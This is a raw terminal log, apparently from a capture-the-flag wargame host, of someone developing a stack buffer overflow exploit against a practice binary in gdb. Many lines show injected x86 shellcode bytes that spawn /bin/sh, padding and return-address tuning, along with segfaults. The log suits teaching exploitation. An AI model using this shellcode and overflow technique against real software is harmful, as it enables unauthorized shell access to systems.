  1968. Starting program: /home/brown/agent-brown \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"
  1969. ???U???????????\U???\????????p???????
  1970.  
  1971. Program received signal SIGSEGV, Segmentation fault.
  1972. 0x0000b7fd in ?? ()
  1973. (gdb) q
  1974. A debugging session is active.
  1975.  
  1976. Inferior 1 [process 20372] will be killed.
  1977.  
  1978. Quit anyway? (y or n) y
  1979. brown@pwnable:~$ vi arg
  1980. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  1981. File "./egg", line 7
  1982. "\x22\x22\x22\x22\x22\x22\x22\x88" +)
  1983. ^
  1984. SyntaxError: invalid syntax
  1985. GNU gdb (GDB) 7.5-ubuntu
  1986. Copyright (C) 2012 Free Software Foundation, Inc.
  1987. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  1988. This is free software: you are free to change and redistribute it.
  1989. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  1990. and "show warranty" for details.
  1991. This GDB was configured as "i686-linux-gnu".
  1992. For bug reporting instructions, please see:
  1993. <http://www.gnu.org/software/gdb/bugs/>...
  1994. Reading symbols from /home/brown/agent-brown...done.
  1995. (gdb) r
  1996. Starting program: /home/brown/agent-brown \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"
  1997. ???E???x???????\E???\????????p???????
  1998.  
  1999. Program received signal SIGSEGV, Segmentation fault.
  2000. 0xf568b7ff in ?? ()
  2001. (gdb) q
  2002. A debugging session is active.
  2003.  
  2004. Inferior 1 [process 20407] will be killed.
  2005.  
  2006. Quit anyway? (y or n) y
  2007. brown@pwnable:~$ vi arg
  2008. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2009. File "./egg", line 7
  2010. "\x22\x22\x22\x22\x22\x22\x22\x88" +)
  2011. ^
  2012. SyntaxError: invalid syntax
  2013. GNU gdb (GDB) 7.5-ubuntu
  2014. Copyright (C) 2012 Free Software Foundation, Inc.
  2015. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  2016. This is free software: you are free to change and redistribute it.
  2017. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  2018. and "show warranty" for details.
  2019. This GDB was configured as "i686-linux-gnu".
  2020. For bug reporting instructions, please see:
  2021. <http://www.gnu.org/software/gdb/bugs/>...
  2022. Reading symbols from /home/brown/agent-brown...done.
  2023. (gdb) r
  2024. Starting program: /home/brown/agent-brown \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"
  2025. ???5???h???????\5???\????????p???????
  2026.  
  2027. Program received signal SIGSEGV, Segmentation fault.
  2028. 0xf5580000 in ?? ()
  2029. (gdb)
  2030. (gdb) q
  2031. A debugging session is active.
  2032.  
  2033. Inferior 1 [process 20475] will be killed.
  2034.  
  2035. Quit anyway? (y or n) y
  2036. brown@pwnable:~$ vi arg
  2037. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2038. File "./egg", line 7
  2039. "\x22\x22\x22\x22\x22\x22\x22\x88" +)
  2040. ^
  2041. SyntaxError: invalid syntax
  2042. GNU gdb (GDB) 7.5-ubuntu
  2043. Copyright (C) 2012 Free Software Foundation, Inc.
  2044. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  2045. This is free software: you are free to change and redistribute it.
  2046. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  2047. and "show warranty" for details.
  2048. This GDB was configured as "i686-linux-gnu".
  2049. For bug reporting instructions, please see:
  2050. <http://www.gnu.org/software/gdb/bugs/>...
  2051. Reading symbols from /home/brown/agent-brown...done.
  2052. (gdb) r
  2053. Starting program: /home/brown/agent-brown \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"
  2054. ???E???x???????\E???\????????p???????
  2055.  
  2056. Program received signal SIGSEGV, Segmentation fault.
  2057. 0xf568b7ff in ?? ()
  2058. (gdb) q
  2059. A debugging session is active.
  2060.  
  2061. Inferior 1 [process 20501] will be killed.
  2062.  
  2063. Quit anyway? (y or n) y
  2064. brown@pwnable:~$ vi arg
  2065. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2066. File "./egg", line 7
  2067. "\x22\x22\x22\x22\x22\x22\x22\x88" +)
  2068. ^
  2069. SyntaxError: invalid syntax
  2070. GNU gdb (GDB) 7.5-ubuntu
  2071. Copyright (C) 2012 Free Software Foundation, Inc.
  2072. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  2073. This is free software: you are free to change and redistribute it.
  2074. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  2075. and "show warranty" for details.
  2076. This GDB was configured as "i686-linux-gnu".
  2077. For bug reporting instructions, please see:
  2078. <http://www.gnu.org/software/gdb/bugs/>...
  2079. Reading symbols from /home/brown/agent-brown...done.
  2080. (gdb) r
  2081. Starting program: /home/brown/agent-brown \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"
  2082. ???%???X???x???\%???\????????p???????
  2083.  
  2084. Program received signal SIGSEGV, Segmentation fault.
  2085. 0x0202bfff in ?? ()
  2086. (gdb) q
  2087. A debugging session is active.
  2088.  
  2089. Inferior 1 [process 20554] will be killed.
  2090.  
  2091. Quit anyway? (y or n) y
  2092. brown@pwnable:~$ vi arg
  2093. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2094. File "./egg", line 7
  2095. "\x22\x22\x22\x22\x22\x22\x22\x88" +)
  2096. ^
  2097. SyntaxError: invalid syntax
  2098. GNU gdb (GDB) 7.5-ubuntu
  2099. Copyright (C) 2012 Free Software Foundation, Inc.
  2100. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  2101. This is free software: you are free to change and redistribute it.
  2102. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  2103. and "show warranty" for details.
  2104. This GDB was configured as "i686-linux-gnu".
  2105. For bug reporting instructions, please see:
  2106. <http://www.gnu.org/software/gdb/bugs/>...
  2107. Reading symbols from /home/brown/agent-brown...done.
  2108. (gdb) r
  2109. Starting program: /home/brown/agent-brown \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"
  2110. ??????H???h???\???\x???????p???????
  2111.  
  2112. Program received signal SIGSEGV, Segmentation fault.
  2113. 0x02020202 in ?? ()
  2114. (gdb) q
  2115. A debugging session is active.
  2116.  
  2117. Inferior 1 [process 20605] will be killed.
  2118.  
  2119. Quit anyway? (y or n) y
  2120. brown@pwnable:~$ vim egg
  2121. brown@pwnable:~$ vim egg
  2122. brown@pwnable:~$ ls
  2123. agent-brown agent-brown.c arg egg exploit README test
  2124. brown@pwnable:~$ vi exploit
  2125. brown@pwnable:~$ cp arg arg1
  2126. brown@pwnable:~$ cp egg arg
  2127. brown@pwnable:~$ vi arg
  2128. brown@pwnable:~$ cp arg1 egg
  2129. brown@pwnable:~$ vi egg
  2130. brown@pwnable:~$ rm arg1
  2131. brown@pwnable:~$ ls
  2132. agent-brown agent-brown.c arg egg exploit README test
  2133. brown@pwnable:~$ vi arg
  2134. brown@pwnable:~$ vi egg
  2135. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2136. File "./arg", line 7
  2137. "\x22\x22\x22\x22\x22\x22\x22\x88" +)
  2138. ^
  2139. SyntaxError: invalid syntax
  2140. GNU gdb (GDB) 7.5-ubuntu
  2141. Copyright (C) 2012 Free Software Foundation, Inc.
  2142. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  2143. This is free software: you are free to change and redistribute it.
  2144. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  2145. and "show warranty" for details.
  2146. This GDB was configured as "i686-linux-gnu".
  2147. For bug reporting instructions, please see:
  2148. <http://www.gnu.org/software/gdb/bugs/>...
  2149. Reading symbols from /home/brown/agent-brown...done.
  2150. (gdb) r
  2151. Starting program: /home/brown/agent-brown
  2152. [Inferior 1 (process 20798) exited with code 01]
  2153. (gdb) q
  2154. brown@pwnable:~$ ./exploit
  2155. File "./arg", line 7
  2156. "\x22\x22\x22\x22\x22\x22\x22\x88" +)
  2157. ^
  2158. SyntaxError: invalid syntax
  2159. brown@pwnable:~$ vi arg
  2160. brown@pwnable:~$ vi egg
  2161. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2162. GNU gdb (GDB) 7.5-ubuntu
  2163. Copyright (C) 2012 Free Software Foundation, Inc.
  2164. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  2165. This is free software: you are free to change and redistribute it.
  2166. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  2167. and "show warranty" for details.
  2168. This GDB was configured as "i686-linux-gnu".
  2169. For bug reporting instructions, please see:
  2170. <http://www.gnu.org/software/gdb/bugs/>...
  2171. Reading symbols from /home/brown/agent-brown...done.
  2172. (gdb) r
  2173. Starting program: /home/brown/agent-brown ?\^?1??F?F
  2174. ?
  2175. ???V
  2176. ̀1ۉ?@̀?????/bin/sh\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"?
  2177. Check out the hint.
  2178. ??~?V(?f'?f,?+?ӭn(?v,?????`???????BINSH?????????(???\????\8???@???p???@???
  2179. [Inferior 1 (process 20859) exited normally]
  2180. (gdb) q
  2181. brown@pwnable:~$ vi arg
  2182. brown@pwnable:~$ vi egg
  2183. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2184. GNU gdb (GDB) 7.5-ubuntu
  2185. Copyright (C) 2012 Free Software Foundation, Inc.
  2186. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  2187. This is free software: you are free to change and redistribute it.
  2188. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  2189. and "show warranty" for details.
  2190. This GDB was configured as "i686-linux-gnu".
  2191. For bug reporting instructions, please see:
  2192. <http://www.gnu.org/software/gdb/bugs/>...
  2193. Reading symbols from /home/brown/agent-brown...done.
  2194. (gdb) r
  2195. Starting program: /home/brown/agent-brown ?\^?1??F?F
  2196. ?
  2197. ???V
  2198. ̀1ۉ?@̀?????/bin/sh\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"?
  2199. ??~?V(?f'?f,?+?ӭn(?v,?????`???????BINSH?H??????H???h???\???\x???????p???????
  2200. [Inferior 1 (process 20901) exited normally]
  2201. (gdb) b main
  2202. Breakpoint 1 at 0x8048433: file agent-brown.c, line 32.
  2203. (gdb) r
  2204. Starting program: /home/brown/agent-brown ?\^?1??F?F
  2205. ?
  2206. ???V
  2207. ̀1ۉ?@̀?????/bin/sh\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"?
  2208.  
  2209. Breakpoint 1, main (argc=2, argv=0xbffff614) at agent-brown.c:32
  2210. 32
  2211. (gdb) q
  2212. A debugging session is active.
  2213.  
  2214. Inferior 1 [process 20923] will be killed.
  2215.  
  2216. Quit anyway? (y or n) y
  2217. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2218. GNU gdb (GDB) 7.5-ubuntu
  2219. Copyright (C) 2012 Free Software Foundation, Inc.
  2220. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  2221. This is free software: you are free to change and redistribute it.
  2222. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  2223. and "show warranty" for details.
  2224. This GDB was configured as "i686-linux-gnu".
  2225. For bug reporting instructions, please see:
  2226. <http://www.gnu.org/software/gdb/bugs/>...
  2227. Reading symbols from /home/brown/agent-brown...done.
  2228. (gdb) b main
  2229. Breakpoint 1 at 0x8048433: file agent-brown.c, line 32.
  2230. (gdb) r
  2231. Starting program: /home/brown/agent-brown ?\^?1??F?F
  2232. ?
  2233. ???V
  2234. ̀1ۉ?@̀?????/bin/sh\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"?
  2235.  
  2236. Breakpoint 1, main (argc=2, argv=0xbffff614) at agent-brown.c:32
  2237. 32
  2238. (gdb) layout split
  2239. brown@pwnable:~$ vi egg
  2240. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2241. GNU gdb (GDB) 7.5-ubuntu
  2242. Copyright (C) 2012 Free Software Foundation, Inc.
  2243. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  2244. This is free software: you are free to change and redistribute it.
  2245. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  2246. and "show warranty" for details.
  2247. This GDB was configured as "i686-linux-gnu".
  2248. For bug reporting instructions, please see:
  2249. <http://www.gnu.org/software/gdb/bugs/>...
  2250. Reading symbols from /home/brown/agent-brown...done.
  2251. (gdb) b main
  2252. Breakpoint 1 at 0x8048433: file agent-brown.c, line 32.
  2253. (gdb) r
  2254. Starting program: /home/brown/agent-brown ?\^?1??F?F
  2255. ?
  2256. ???V
  2257. ̀1ۉ?@̀?????/bin/sh\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"?
  2258.  
  2259. Breakpoint 1, main (argc=2, argv=0xbffff664) at agent-brown.c:32
  2260. 32
  2261. (gdb) layout split
  2262. brown@pwnable:~$ vi arg
  2263. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2264. GNU gdb (GDB) 7.5-ubuntu
  2265. Copyright (C) 2012 Free Software Foundation, Inc.
  2266. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  2267. This is free software: you are free to change and redistribute it.
  2268. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  2269. and "show warranty" for details.
  2270. This GDB was configured as "i686-linux-gnu".
  2271. For bug reporting instructions, please see:
  2272. <http://www.gnu.org/software/gdb/bugs/>...
  2273. Reading symbols from /home/brown/agent-brown...done.
  2274. (gdb) r
  2275. Starting program: /home/brown/agent-brown ?\^?1??F?F
  2276. ?
  2277. ???V
  2278. ̀1ۉ?@̀?????/bin/sh\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"H
  2279. ??~?V(?f'?f,?+?ӭn(?v,?????`???????BINSHh????e???????????\e???\????????p???????
  2280. [Inferior 1 (process 21136) exited normally]
  2281. (gdb) b main
  2282. Breakpoint 1 at 0x8048433: file agent-brown.c, line 32.
  2283. (gdb) r
  2284. Starting program: /home/brown/agent-brown ?\^?1??F?F
  2285. ?
  2286. ???V
  2287. ̀1ۉ?@̀?????/bin/sh\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"H
  2288.  
  2289. Breakpoint 1, main (argc=2, argv=0xbffff664) at agent-brown.c:32
  2290. 32
  2291. (gdb) layout split
  2292. brown@pwnable:~$ vi arg
  2293. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2294. GNU gdb (GDB) 7.5-ubuntu
  2295. Copyright (C) 2012 Free Software Foundation, Inc.
  2296. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  2297. This is free software: you are free to change and redistribute it.
  2298. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  2299. and "show warranty" for details.
  2300. This GDB was configured as "i686-linux-gnu".
  2301. For bug reporting instructions, please see:
  2302. <http://www.gnu.org/software/gdb/bugs/>...
  2303. Reading symbols from /home/brown/agent-brown...done.
  2304. (gdb) r
  2305. Starting program: /home/brown/agent-brown ?\^?1??F?F
  2306. ?
  2307. ???V
  2308. ̀1ۉ?@̀?????/bin/sh\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"H
  2309. ??~?V(?f'?f,?+?ӭn(?v,?????`???????BINSHh???d???????????\d???\????????p???????
  2310.  
  2311. Program received signal SIGSEGV, Segmentation fault.
  2312. 0x420fdfdf in ?? ()
  2313. (gdb) b main
  2314. Breakpoint 1 at 0x8048433: file agent-brown.c, line 32.
  2315. (gdb) r
  2316. The program being debugged has been started already.
  2317. Start it from the beginning? (y or n) y
  2318.  
  2319. Starting program: /home/brown/agent-brown ?\^?1??F?F
  2320. ?
  2321. ???V
  2322. ̀1ۉ?@̀?????/bin/sh\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"H
  2323.  
  2324. Breakpoint 1, main (argc=2, argv=0xbffff664) at agent-brown.c:32
  2325. 32
  2326. (gdb) layout split
  2327. brown@pwnable:~$ ls
  2328. agent-brown agent-brown.c arg egg exploit README test
  2329. brown@pwnable:~$ rm egg
  2330. brown@pwnable:~$ ls
  2331. agent-brown agent-brown.c arg exploit README test
  2332. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2333. -bash: ./egg: No such file or directory
  2334. GNU gdb (GDB) 7.5-ubuntu
  2335. Copyright (C) 2012 Free Software Foundation, Inc.
  2336. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  2337. This is free software: you are free to change and redistribute it.
  2338. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  2339. and "show warranty" for details.
  2340. This GDB was configured as "i686-linux-gnu".
  2341. For bug reporting instructions, please see:
  2342. <http://www.gnu.org/software/gdb/bugs/>...
  2343. Reading symbols from /home/brown/agent-brown...done.
  2344. (gdb) r
  2345. Starting program: /home/brown/agent-brown ?\^?1??F?F
  2346. ?
  2347. ???V
  2348. ̀1ۉ?@̀?????/bin/sh\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"H
  2349. ??~?V(?f'?f,?+?ӭn(?v,?????`???????BINSHh??????????8???\????\H???P???p???P???
  2350.  
  2351. Program received signal SIGSEGV, Segmentation fault.
  2352. 0x00000000 in ?? ()
  2353. (gdb) b main
  2354. Breakpoint 1 at 0x8048433: file agent-brown.c, line 32.
  2355. (gdb) r
  2356. The program being debugged has been started already.
  2357. Start it from the beginning? (y or n) y
  2358.  
  2359. Starting program: /home/brown/agent-brown ?\^?1??F?F
  2360. ?
  2361. ???V
  2362. ̀1ۉ?@̀?????/bin/sh\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"H
  2363.  
  2364. Breakpoint 1, main (argc=2, argv=0xbffff6e4) at agent-brown.c:32
  2365. 32
  2366. (gdb) layout split
  2367. brown@pwnable:~$ vi arg
  2368. brown@pwnable:~$ python arg
  2369. File "arg", line 2
  2370. x = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07" +
  2371. ^
  2372. SyntaxError: invalid syntax
  2373. brown@pwnable:~$ vi arg
  2374. brown@pwnable:~$ python arg
  2375. \xcb\x3f\x7e\xa9\x56\x28\x11\xe0\xa8\x66\x27\xa9\x66\x2c\x90\x2b\xa9\xd3\xad\x6e\x28\xad\x76\x2c\xed\xa0\x11\xfb\xa9\xf8\x60\xed\xa0\xc8\xfc\xdf\xdf\xdf\xf\x42\x49\x4e\xf\x53\x48\x2\x2\x2\x2\x2\x2\x2\x2\x2\x2\x2\x2\x2\x2\x2\x2\x2\x2\x2\x68
  2376. brown@pwnable:~$ vi arg
  2377. brown@pwnable:~$ python arg
  2378. \xcb\x3f\x7e\xa9\x56\x28\x11\xe0\xa8\x66\x27\xa9\x66\x2c\x90\x2b\xa9\xd3\xad\x6e\x28\xad\x76\x2c\xed\xa0\x11\xfb\xa9\xf8\x60\xed\xa0\xc8\xfc\xdf\xdf\xdf\xf\x42\x49\x4e\xf\x53\x48\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x68
  2379. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2380. -bash: ./egg: No such file or directory
  2381. GNU gdb (GDB) 7.5-ubuntu
  2382. Copyright (C) 2012 Free Software Foundation, Inc.
  2383. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  2384. This is free software: you are free to change and redistribute it.
  2385. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  2386. and "show warranty" for details.
  2387. This GDB was configured as "i686-linux-gnu".
  2388. For bug reporting instructions, please see:
  2389. <http://www.gnu.org/software/gdb/bugs/>...
  2390. Reading symbols from /home/brown/agent-brown...done.
  2391. (gdb) r
  2392. Starting program: /home/brown/agent-brown \\xcb\\x3f\\x7e\\xa9\\x56\\x28\\x11\\xe0\\xa8\\x66\\x27\\xa9\\x66\\x2c\\x90\\x2b\\xa9\\xd3\\xad\\x6e\\x28\\xad\\x76\\x2c\\xed\\xa0\\x11\\xfb\\xa9\\xf8\\x60\\xed\\xa0\\xc8\\xfc\\xdf\\xdf\\xdf\\xf\\x42\\x49\\x4e\\xf\\x53\\x48\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x68
  2393. |XCB|XF|XE|XA|X|X|X|XE|XA|X|X|XA|X|XC|X|XB|???#???X???x???\#???\????????p???????
  2394.  
  2395. Program received signal SIGSEGV, Segmentation fault.
  2396. 0x00000000 in ?? ()
  2397. (gdb) b main
  2398. Breakpoint 1 at 0x8048433: file agent-brown.c, line 32.
  2399. (gdb) r
  2400. The program being debugged has been started already.
  2401. Start it from the beginning? (y or n) y
  2402.  
  2403. Starting program: /home/brown/agent-brown \\xcb\\x3f\\x7e\\xa9\\x56\\x28\\x11\\xe0\\xa8\\x66\\x27\\xa9\\x66\\x2c\\x90\\x2b\\xa9\\xd3\\xad\\x6e\\x28\\xad\\x76\\x2c\\xed\\xa0\\x11\\xfb\\xa9\\xf8\\x60\\xed\\xa0\\xc8\\xfc\\xdf\\xdf\\xdf\\xf\\x42\\x49\\x4e\\xf\\x53\\x48\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x68
  2404.  
  2405. Breakpoint 1, main (argc=2, argv=0xbffff624) at agent-brown.c:32
  2406. 32
  2407. (gdb) layout split
  2408. brown@pwnable:~$ vi arg
  2409. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2410. -bash: ./egg: No such file or directory
  2411. GNU gdb (GDB) 7.5-ubuntu
  2412. Copyright (C) 2012 Free Software Foundation, Inc.
  2413. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  2414. This is free software: you are free to change and redistribute it.
  2415. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  2416. and "show warranty" for details.
  2417. This GDB was configured as "i686-linux-gnu".
  2418. For bug reporting instructions, please see:
  2419. <http://www.gnu.org/software/gdb/bugs/>...
  2420. Reading symbols from /home/brown/agent-brown...done.
  2421. (gdb) r
  2422. Starting program: /home/brown/agent-brown \\xcb\\x3f\\x7e\\xa9\\x56\\x28\\x11\\xe0\\xa8\\x66\\x27\\xa9\\x66\\x2c\\x90\\x2b\\xa9\\xd3\\xad\\x6e\\x28\\xad\\x76\\x2c\\xed\\xa0\\x11\\xfb\\xa9\\xf8\\x60\\xed\\xa0\\xc8\\xfc\\xdf\\xdf\\xdf\\xf\\x42\\x49\\x4e\\xf\\x53\\x48\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x28
  2423. |XCB|XF|XE|XA|X|X|X|XE|XA|X|X|XA|X|XC|X|XB|???#???X???x???\#???\????????p???????
  2424.  
  2425. Program received signal SIGSEGV, Segmentation fault.
  2426. 0x00000000 in ?? ()
  2427. (gdb) q
  2428. A debugging session is active.
  2429.  
  2430. Inferior 1 [process 25035] will be killed.
  2431.  
  2432. Quit anyway? (y or n) y
  2433. brown@pwnable:~$ l
  2434. agent-brown* agent-brown.c arg* exploit* README test
  2435. brown@pwnable:~$ ls
  2436. agent-brown agent-brown.c arg exploit README test
  2437. brown@pwnable:~$ vi agent-brown.c
  2438. brown@pwnable:~$ vi arg
  2439. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2440. -bash: ./egg: No such file or directory
  2441. GNU gdb (GDB) 7.5-ubuntu
  2442. Copyright (C) 2012 Free Software Foundation, Inc.
  2443. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  2444. This is free software: you are free to change and redistribute it.
  2445. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  2446. and "show warranty" for details.
  2447. This GDB was configured as "i686-linux-gnu".
  2448. For bug reporting instructions, please see:
  2449. <http://www.gnu.org/software/gdb/bugs/>...
